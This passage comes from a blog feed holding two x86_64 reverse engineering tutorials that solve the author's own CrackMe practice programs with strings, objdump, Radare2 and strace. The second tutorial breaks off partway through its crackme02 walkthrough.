&lt;code&gt;xxd&lt;/code&gt;), et cetera. You also need &lt;a href=&#34;http://radare.org/r/pics.html&#34;&gt;Radare2&lt;/a&gt;, an advanced open-source reverse engineering toolkit. On Debian-derived systems, the following command should get you set up:&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;This is a sequel to my (rather long) &lt;a href=&#34;an-intro-to-x86_64-reverse-engineering/&#34;&gt;introduction&lt;/a&gt; to reverse engineering. It is something of a &amp;ldquo;whirlwind tour&amp;rdquo; of some useful methods that weren&amp;rsquo;t shown in that tutorial, and provides a number of exercises to hone your skills.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-crackme-programs&#34;&gt;The CrackMe Programs&lt;/h2&gt;&#xA;&lt;p&gt;You can find the CrackMes discussed here on &lt;a href=&#34;https://github.com/noracodes/crackmes&#34;&gt;GitHub&lt;/a&gt;. Clone that repository and, &lt;em&gt;without looking at the source code&lt;/em&gt;, build each CrackMe with &lt;code&gt;make crackme01&lt;/code&gt;, &lt;code&gt;make crackme02&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tools-and-software&#34;&gt;Tools and Software&lt;/h2&gt;&#xA;&lt;p&gt;These CrackMes only work on Unix systems, and I wrote this tutorial using Linux. You need the essentials of a development environment installed - a C compiler (&lt;code&gt;gcc&lt;/code&gt;), object inspection utilities (&lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;objcopy&lt;/code&gt;, &lt;code&gt;xxd&lt;/code&gt;), et cetera. You also need &lt;a href=&#34;http://radare.org/r/pics.html&#34;&gt;Radare2&lt;/a&gt;, an advanced open-source reverse engineering toolkit. On Debian-derived systems, the following command should get you set up:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo apt install build-essential gcc xxd binutils&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can install Radare2 from &lt;a href=&#34;https://github.com/radare/radare2&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;On other systems, install the equivalent packages from your package manager.&lt;/p&gt;&#xA;&lt;h1 id=&#34;solutions&#34;&gt;Solutions&lt;/h1&gt;&#xA;&lt;h2 id=&#34;crackme05c&#34;&gt;crackme05.c&lt;/h2&gt;&#xA;&lt;p&gt;This crackme is very similar to those presented in the previous tutorial, but is more modularized. It has functions (remember, &lt;code&gt;aaa&lt;/code&gt; to analyze and then &lt;code&gt;afl&lt;/code&gt; to list functions) for success and failure conditions, which print out the appropriate string and then exit.&lt;/p&gt;&#xA;&lt;p&gt;The main function has a number of calls to &lt;code&gt;sym.fail&lt;/code&gt;, the failure function, each stemming from a different condition. Only by passing all of these conditions does execution reach 0x880 where RDI (the first function argument) is loaded with the input string and then &lt;code&gt;sym.success&lt;/code&gt; is called.&lt;/p&gt;&#xA;&lt;p&gt;Some of these checks are self-evident; for instance, at 0x7d7, the string&amp;rsquo;s length must be exactly 16:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;call sym.imp.strnlen&#xA;cmp eax, 0x10&#xA;jne 0x850&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Other checks, however, call the function &lt;code&gt;check_with_mod&lt;/code&gt;, each time with three arguments. For instance, at 0x81a:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;lea rdi, [rbx + 8]&#xA;mov edx, 5&#xA;mov esi, 4&#xA;call sym.check_with_mod&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, RBX is &lt;code&gt;argv[1]&lt;/code&gt;, so this is really &lt;code&gt;check_with_mod(argv[1] + 8, 5, 4)&lt;/code&gt;. The third argument, here a 4, appears consistent across calls, while the second argument changes. So what does &lt;code&gt;check_with_mod&lt;/code&gt; do?&lt;/p&gt;&#xA;&lt;p&gt;As usual, &lt;code&gt;s sym.check_with_mod&lt;/code&gt; followed by &lt;code&gt;pdf&lt;/code&gt; will give us the answer. It&amp;rsquo;s actually a very simple function, just 20 instructions. At its heart is a loop which adds up the values of some bytes in the input string (argument 1), dictated by the 3rd argument. In our case this will always be 4 bytes.&lt;/p&gt;&#xA;&lt;p&gt;The function then performs integer division &lt;code&gt;idiv r8d&lt;/code&gt;. This divides RDX by R8 (the second argument), saving the quotient in RAX and the remainder in EDX. The code then checks that RDX is zero and discards the quotient, making this a &lt;strong&gt;modulus&lt;/strong&gt; operation.&lt;/p&gt;&#xA;&lt;p&gt;So the mystery is solved. The code checks that the four bytes after each offset sum up to something divisible by the given value. Returning to the &lt;code&gt;main&lt;/code&gt; function, we can see that there are four chunks, which need to sum up to 3, 4, 5, and 4, respectively.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s not enough, though. It also compares byte 2 to &amp;lsquo;B&amp;rsquo; and byte 0xd (13) to &amp;lsquo;Q&amp;rsquo;.&lt;/p&gt;&#xA;&lt;p&gt;So the string looks like this so far: &lt;code&gt;..B..........Q..&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we need to figure out those blank spaces. By doing a little math we can find &lt;code&gt;EEBD,,,,2222QQOO&lt;/code&gt;, which is correct!&lt;/p&gt;&#xA;&lt;h2 id=&#34;crackme06c&#34;&gt;crackme06.c&lt;/h2&gt;&#xA;&lt;p&gt;This crackme is pretty simple to solve using Radare2 static analysis (that is, just looking at the code), but I&amp;rsquo;d like to demonstrate another tool in the toolbox of a reverse engineer - &lt;code&gt;strace&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;strace&lt;/code&gt; prints out every system call a program makes as it runs. This makes it very useful to figure out the basic behavior of a program, as well as letting you easily isolate specific kinds of behavior like network connections and file I/O.&lt;/p&gt;&#xA;&lt;p&gt;Here, we&amp;rsquo;ll just run &lt;code&gt;strace ./crackme06.64 test&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;execve(&amp;#34;./crackme06.64&amp;#34;, [&amp;#34;./crackme06.64&amp;#34;, &amp;#34;test&amp;#34;], [/* 56 vars */]) = 0&#xA;brk(NULL)                               = 0x5645ad7a0000&#xA;access(&amp;#34;/etc/ld.so.nohwcap&amp;#34;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;access(&amp;#34;/etc/ld.so.preload&amp;#34;, R_OK)      = -1 ENOENT (No such file or directory)&#xA;openat(AT_FDCWD, &amp;#34;/etc/ld.so.cache&amp;#34;, O_RDONLY|O_CLOEXEC) = 3&#xA;fstat(3, {st_mode=S_IFREG|0644, st_size=249222, ...}) = 0&#xA;mmap(NULL, 249222, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f8dded0d000&#xA;close(3)                                = 0&#xA;access(&amp;#34;/etc/ld.so.nohwcap&amp;#34;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;openat(AT_FDCWD, &amp;#34;/lib/x86_64-linux-gnu/libc.so.6&amp;#34;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &amp;#34;\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0\340\22\2\0\0\0\0\0&amp;#34;..., 832) = 832&#xA;fstat(3, {st_mode=S_IFREG|0755, st_size=1960656, ...}) = 0&#xA;mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f8dded0b000&#xA;mmap(NULL, 4061792, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f8dde743000&#xA;mprotect(0x7f8dde919000, 2097152, PROT_NONE) = 0&#xA;mmap(0x7f8ddeb19000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d6000) = 0x7f8ddeb19000&#xA;mmap(0x7f8ddeb1f000, 14944, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f8ddeb1f000&#xA;close(3)                                = 0&#xA;arch_prctl(ARCH_SET_FS, 0x7f8dded0c4c0) = 0&#xA;mprotect(0x7f8ddeb19000, 16384, PROT_READ) = 0&#xA;mprotect(0x5645ab906000, 4096, PROT_READ) = 0&#xA;mprotect(0x7f8dded4a000, 4096, PROT_READ) = 0&#xA;munmap(0x7f8dded0d000, 249222)          = 0&#xA;brk(NULL)                               = 0x5645ad7a0000&#xA;brk(0x5645ad7c1000)                     = 0x5645ad7c1000&#xA;openat(AT_FDCWD, &amp;#34;test&amp;#34;, O_RDONLY)      = -1 ENOENT (No such file or directory)&#xA;dup(2)                                  = 3&#xA;fcntl(3, F_GETFL)                       = 0x8402 (flags O_RDWR|O_APPEND|O_LARGEFILE)&#xA;fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0&#xA;write(3, &amp;#34;PANIC! Aborting due to: No such &amp;#34;..., 50PANIC! Aborting due to: No such file or directory&#xA;) = 50&#xA;close(3)                                = 0&#xA;exit_group(-1)                          = ?&#xA;+++ exited with 255 +++&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Much of this output is relatively useless - loading shared library preloads which aren&amp;rsquo;t set, and mapping bits of memory in, all done by the shell. Eventually, though, there&amp;rsquo;s a call to &lt;code&gt;openat&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openat(AT_FDCWD, &amp;#34;test&amp;#34;, O_RDONLY)      = -1 ENOENT (No such file or directory)&#xA;...&#xA;write(3, &amp;#34;PANIC! Aborting due to: No such &amp;#34;..., 50PANIC! Aborting due to: No such file or directory&#xA;) = 50&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The program calls &lt;code&gt;openat&lt;/code&gt; with the filename &lt;code&gt;test&lt;/code&gt;, attempting to open it in read-only mode, gets an error, and then prints that error out.&lt;/p&gt;&#xA;&lt;p&gt;Clearly, it expects the file to exist; by creating that file and putting some content in it, we see:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openat(AT_FDCWD, &amp;#34;test&amp;#34;, O_RDONLY)  = 3&#xA;fstat(3, {st_mode=S_IFREG|0664, st_size=13, ...}) = 0&#xA;read(3, &amp;#34;some content\n&amp;#34;, 4096)         = 13&#xA;read(3, &amp;#34;&amp;#34;, 4096)                       = 0&#xA;fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0&#xA;write(1, &amp;#34;Access denied.\n&amp;#34;, 15Access denied.&#xA;)        = 15&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, the code successfully opens the file and gets a file descriptor back (3). It reads the file and gets back &amp;ldquo;some content\n&amp;rdquo; and then reads it again and gets nothing. Finally, it prints &amp;ldquo;Access denied&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;So we know the program is reading bytes from a file. Diving into Radare, it&amp;rsquo;s trivial to see that those bytes are then compared to the string &amp;ldquo;scrambled egg 42&amp;rdquo;. If you load that file with these bytes, the crackme will succeed.&lt;/p&gt;&#xA;&lt;p&gt;Taking the time to trace the program statically would have yielded the same result, but it would have taken a lot longer. Dynamic analysis has a place, especially for identifying critical sections of the target executable.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crackme07c&#34;&gt;crackme07.c&lt;/h2&gt;&#xA;&lt;p&gt;This crackme is a pretty simple one, but it uses a slightly odd mechanism for input. It compares its first arg to a static string, but only succeeds if the current time is in a certain range.&lt;/p&gt;&#xA;&lt;p&gt;There is a function &lt;code&gt;sym.cur_hour&lt;/code&gt; which makes a call to the libc function &lt;code&gt;localtime&lt;/code&gt;. It takes the resulting &lt;code&gt;localtime&lt;/code&gt; struct and returns an quadword from 8 bytes into that struct.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;call sym.imp.localtime&#xA;mov edi, dword [rbx]&#xA;test edi, edi&#xA;jne 0x8f9                   ; jump to error handling if error&#xA;mov eax, dword [rax + 8]    ; this value gets returned&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That struct looks like this, according to the documentation for &lt;a href=&#34;https://linux.die.net/man/3/localtime&#34;&gt;localtime (3)&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; tm {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_sec;         &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* seconds */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_min;         &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* minutes */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_hour;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* hours */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_mday;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* day of the month */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_mon;         &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* month */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_year;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* year */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_wday;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* day of the week */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_yday;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* day in the year */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; tm_isdst;       &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* daylight saving time */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So 8 bytes in is &lt;code&gt;tm_hour&lt;/code&gt;, the current hour. In the main function, that value is used thus:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;call sym.cur_hour&#xA;mov ebx, eax&#xA;...&#xA;sub ebx, 5&#xA;cmp ebx, 1&#xA;jbe 0x985&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In other words, the hour must be between 5 and 6 (that is, the time must be between 0500 and 0659). Either stay up late or just temporarily change your system clock to get this crackme to succeed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crackme08c&#34;&gt;crackme08.c&lt;/h2&gt;&#xA;&lt;p&gt;This is another &amp;ldquo;computed&amp;rdquo; crackme; that is, it computes the correct code on the fly.&lt;/p&gt;&#xA;&lt;p&gt;One important feature of this program is that it allocates memory, at 0x869:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;mov edi, 0xf&#xA;call sym.imp.malloc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a very common call for C programs - it&amp;rsquo;s how they get memory on the heap - but previous crackmes haven&amp;rsquo;t really needed to do this. This particular call allocates 0xf (15) bytes.&lt;/p&gt;&#xA;&lt;p&gt;Immediately afterward, there&amp;rsquo;s something that isn&amp;rsquo;t normally seen: the &lt;code&gt;cpuid&lt;/code&gt; instruction. This instruction is a way for a CPU to identify itself to software, and it places &amp;ldquo;characteristic bytes&amp;rdquo; in EBX, EDX, and ECX, in that order. While these could be any bytes, they are usually printable ASCII characters. Intel processors return the bytes &amp;ldquo;GenuineIntel&amp;rdquo;, AMD processors return &amp;ldquo;AuthenticAMD&amp;rdquo; (or &amp;ldquo;AMDisbetter!&amp;rdquo; on old engineering samples), and other vendors have their own patterns ranging from the utilitarian &amp;ldquo;Vortex86 SOC&amp;rdquo; to the tongue-in-cheek &amp;ldquo;CyrixInstead&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, these bytes are then moved into other registers and passed to the function &lt;code&gt;sym.shift_int_to_char&lt;/code&gt; along with the pointer returned by that previous call to &lt;code&gt;malloc&lt;/code&gt;. Looking at that function, it&amp;rsquo;s pretty simple; it moves the first, second, third, and fourth bytes of the given doubleword into memory sequentially. This is being used my the &lt;code&gt;main&lt;/code&gt; code to destructure the weird encoding from &lt;code&gt;cpuid&lt;/code&gt; into an actual string.&lt;/p&gt;&#xA;&lt;p&gt;Hopping back to main, we see some other bytes get set: &amp;lsquo;3&amp;rsquo;, &amp;lsquo;Q&amp;rsquo;, and the null byte. It&amp;rsquo;s a good bet that the password is made up of the three doublewords from the CPUID instruction plus &amp;ldquo;3Q&amp;rdquo;, and this checks out: three doublewords is 12 characters, plus two more is 14 plus null is 15 (or 0xf), the length of the allocated buffer.&lt;/p&gt;&#xA;&lt;p&gt;Sure enough, that buffer is immediately checked using &lt;code&gt;strcmp&lt;/code&gt; against the input and then released back to the system with &lt;code&gt;free&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is the first of many crackmes that will have different solutions on different computers. For me, it&amp;rsquo;s &amp;ldquo;GenuineIntel3Q&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;appendix&#34;&gt;Appendix&lt;/h1&gt;&#xA;&lt;p&gt;Thank you for reading this second tutorial! I hope it&amp;rsquo;s been instructive. My next priority is to create some more real-world use cases, such as reverse engineering nontrivial C applications, looking at minified JavaScript, and doing some more in-depth dynamic analysis with GDB.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>An Intro to x86_64 Reverse Engineering</title>
      <link>https://nora.codes/tutorial/an-intro-to-x86_64-reverse-engineering/</link>
      <pubDate>Thu, 16 Nov 2017 18:29:37 +0000</pubDate>
      <guid>https://nora.codes/tutorial/an-intro-to-x86_64-reverse-engineering/</guid>
      <description>&lt;p&gt;This document presents an introduction to x86_64 binary reverse engineering, the process of determining the operation of a compiled computer program without access to its source code, through a series of CrackMe programs.&lt;/p&gt;&#xA;&lt;p&gt;There are a lot of excellent tutorials out there, but they mostly focus on the 32-bit x86 platform. Modern computers are, almost without exception, 64-bit capable, so this tutorial introduces 64-bit concepts immediately.&lt;/p&gt;&#xA;&lt;p&gt;A CrackMe is an executable file which takes (typically) a single argument, does some check on it, and returns a message informing the user if it&amp;rsquo;s correct or not.  The challenge is to determine the correct argument &lt;em&gt;without&lt;/em&gt; looking at the source code. Here, I present some CrackMe programs which I wrote, and demonstrate how to arrive at their solutions.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;This document presents an introduction to x86_64 binary reverse engineering, the process of determining the operation of a compiled computer program without access to its source code, through a series of CrackMe programs.&lt;/p&gt;&#xA;&lt;p&gt;There are a lot of excellent tutorials out there, but they mostly focus on the 32-bit x86 platform. Modern computers are, almost without exception, 64-bit capable, so this tutorial introduces 64-bit concepts immediately.&lt;/p&gt;&#xA;&lt;p&gt;A CrackMe is an executable file which takes (typically) a single argument, does some check on it, and returns a message informing the user if it&amp;rsquo;s correct or not.  The challenge is to determine the correct argument &lt;em&gt;without&lt;/em&gt; looking at the source code. Here, I present some CrackMe programs which I wrote, and demonstrate how to arrive at their solutions.&lt;/p&gt;&#xA;&lt;h1 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h1&gt;&#xA;&lt;h2 id=&#34;knowledge&#34;&gt;Knowledge&lt;/h2&gt;&#xA;&lt;p&gt;This tutorial assumes a reasonable familiarity with programming, but not any particular skill with assembly, CPU architecture, or even C programming specifically. &lt;strong&gt;You should know what a compiler does&lt;/strong&gt;, but you don&amp;rsquo;t have to know how to implement one. Similarly, &lt;strong&gt;you should know what a register is&lt;/strong&gt;, but you don&amp;rsquo;t need to have the x86 registers or instructions memorized. I certainly don&amp;rsquo;t.&lt;/p&gt;&#xA;&lt;p&gt;If you are a fluent programmer but don&amp;rsquo;t know assembly, I suggest you look at the &lt;a href=&#34;https://www.youtube.com/watch?v=75gBFiFtAb8&#34;&gt;x86 Crash Course&lt;/a&gt;. It&amp;rsquo;s a 10 minute video that should give you the background you need to understand this tutorial.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-crackme-programs&#34;&gt;The CrackMe Programs&lt;/h2&gt;&#xA;&lt;p&gt;You can find the CrackMes discussed here on &lt;a href=&#34;https://github.com/noracodes/crackmes&#34;&gt;GitHub&lt;/a&gt;. Clone that repository and, &lt;em&gt;without looking at the source code&lt;/em&gt;, build each CrackMe with &lt;code&gt;make crackme01&lt;/code&gt;, &lt;code&gt;make crackme02&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tools-and-software&#34;&gt;Tools and Software&lt;/h2&gt;&#xA;&lt;p&gt;These CrackMes only work on Unix systems, and I wrote this tutorial using Linux. You need the essentials of a development environment installed - a C compiler (&lt;code&gt;gcc&lt;/code&gt;), object inspection utilities (&lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;objcopy&lt;/code&gt;, &lt;code&gt;xxd&lt;/code&gt;), et cetera. This tutorial will also show you how to use the program &lt;a href=&#34;http://radare.org/r/pics.html&#34;&gt;Radare2&lt;/a&gt;, an advanced open-source reverse engineering toolkit. On Debian-derived systems, the following command should get you set up:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo apt install build-essential gcc xxd binutils&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can install Radare2 from &lt;a href=&#34;https://github.com/radare/radare2&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;On other systems, install the equivalent packages from your package manager.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-solutions&#34;&gt;The Solutions&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In later solutions, I discuss file offsets. These may be different for you, but I never use them without discussing where I got them, so if you&amp;rsquo;re confused, just search for the offset using Ctrl+F or Find In Page and you should see how I got them quite easily.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;crackme01c&#34;&gt;crackme01.c&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;crackme01.64&lt;/code&gt; is a relatively simple program. When you run it, you&amp;rsquo;ll see this output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ./crackme01.64&#xA;Need exactly one argument.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Provide some random argument. I used &lt;code&gt;lmao&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ./crackme01.64 lmao&#xA;No, lmao is not correct.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is as expected. We don&amp;rsquo;t know the password. The first thing to try, when faced with a problem such as this, is to think about what the program is doing. The simplest way to check a string is to simply compare it against another string, stored in the binary. The binary may appear opaque to us, but in fact it is not. It is a file full of data like any other; it&amp;rsquo;s just structured in a special way.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; Try examining the executable file with &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt;, or your favorite text editor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If we simply &lt;code&gt;cat&lt;/code&gt; it, we get gibberish. Luckily, there is a standard Unix tool called &lt;code&gt;strings&lt;/code&gt; which will try to extract all the valid pieces of text (printable characters followed by the null character) in a given file.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ strings ./crackme01.64&#xA;/lib/ld-linux.so.2&#xA;WXZd&#xA;libc.so.6&#xA;_IO_stdin_used&#xA;__printf_chk&#xA;puts&#xA;__cxa_finalize&#xA;__libc_start_main&#xA;_ITM_deregisterTMCloneTable&#xA;__gmon_start__&#xA;_Jv_RegisterClasses&#xA;_ITM_registerTMCloneTable&#xA;GLIBC_2.3.4&#xA;&#xA;&#xA;...&#xA;&#xA;.dynamic&#xA;.data&#xA;.bss&#xA;.comment&#xA;.debug_aranges&#xA;.debug_info&#xA;.debug_abbrev&#xA;.debug_line&#xA;.debug_str&#xA;.debug_loc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a &lt;em&gt;lot&lt;/em&gt; of output. We can learn some useful things from it, but for now, we&amp;rsquo;re looking for a password.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; Try to find the password in the output of &lt;code&gt;strings&lt;/code&gt;. This is all you need to solve the challenge!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;solution&#34;&gt;Solution&lt;/h3&gt;&#xA;&lt;p&gt;In this case, it is enough to simply scroll through the listing. Eventually, you&amp;rsquo;ll see these lines:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;...&#xA;[^_]&#xA;Need exactly one argument.&#xA;password1&#xA;No, %s is not correct.&#xA;Yes, %s is correct!&#xA;;*2$&amp;#34;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can see two strings we already know about: &lt;code&gt;Need exactly one argument.&lt;/code&gt; and &lt;code&gt;No, %s is not correct.&lt;/code&gt;. Note that &lt;code&gt;%s&lt;/code&gt; is the control sequence that tells C&amp;rsquo;s &lt;code&gt;printf&lt;/code&gt; function to print a string, presumably the one we entered at the command line.&lt;/p&gt;&#xA;&lt;p&gt;Between these known strings is something rather suspicious looking. Let&amp;rsquo;s try it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ./crackme01.64 password1&#xA;Yes, password1 is correct!&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Success! You&amp;rsquo;d be surprised how much useful knowledge can come from a simple invocation of &lt;code&gt;strings&lt;/code&gt; on a binary.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: There is a file called &lt;code&gt;crackme01e.c&lt;/code&gt; which can be solved using this same technique. Compile and attempt to solve it, to cement your skills.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;crackme02c&#34;&gt;crackme02.c&lt;/h2&gt;&#xA;&lt;p&gt;This CrackMe is a little more difficult. You can try the same procedure as above, but the password you uncover won&amp;rsquo;t work!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; Try to figure out why this might be, without reading ahead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll need to look at the actual behavior of the program using &lt;code&gt;objdump&lt;/code&gt;. You may need to install it with your system&amp;rsquo;s package manager.&#xA;&lt;code&gt;objdump&lt;/code&gt; is an extremely powerful tool for examining binaries.&lt;/p&gt;&#xA;&lt;p&gt;A binary program like this is a sequence of machine instructions, represented as number. &lt;code&gt;objdump&lt;/code&gt; allows us to disassemble these machine instructions and represent them as slightly more readable assembly mnemonics.&lt;/p&gt;&#xA;&lt;p&gt;In this case, if we run &lt;code&gt;objdump -d crackme02.64 -Mintel | less&lt;/code&gt;, we will get an assembly listing. I&amp;rsquo;ve piped it through &lt;code&gt;less&lt;/code&gt; because it&amp;rsquo;s very long.&lt;/p&gt;&#xA;&lt;p&gt;The first line tells us what we&amp;rsquo;re looking at: &lt;code&gt;crackme02.64:     file format elf64-x86-64&lt;/code&gt;. It&amp;rsquo;s a 64-bit ELF executable file, on the 